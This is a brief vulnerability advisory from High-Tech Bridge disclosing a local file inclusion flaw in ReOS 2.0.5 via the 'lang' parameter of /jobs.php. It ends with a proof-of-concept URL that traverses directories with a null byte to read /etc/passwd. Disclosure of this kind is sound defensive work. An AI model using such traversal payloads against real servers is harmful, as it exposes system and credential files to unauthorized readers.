Vulnerability ID: HTB22808
Reference: http://www.htbridge.ch/advisory/local_file_inclusion_in_reos.html
Product: ReOS
Vendor: IT ELAZOS S.L. ( http://reos.elazos.com/ )
Vulnerable Version: 2.0.5
Vendor Notification: 20 January 2011
Vulnerability Type: Local File Inclusion
Risk level: High
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)
Vulnerability Details:
The vulnerability exists due to failure in the "/jobs.php" script to properly sanitize user-supplied input in "lang" variable.
The following PoC is available:
http://[host]/jobs.php?lang=/…/…/…/…/…/…/…/…/etc/passwd%00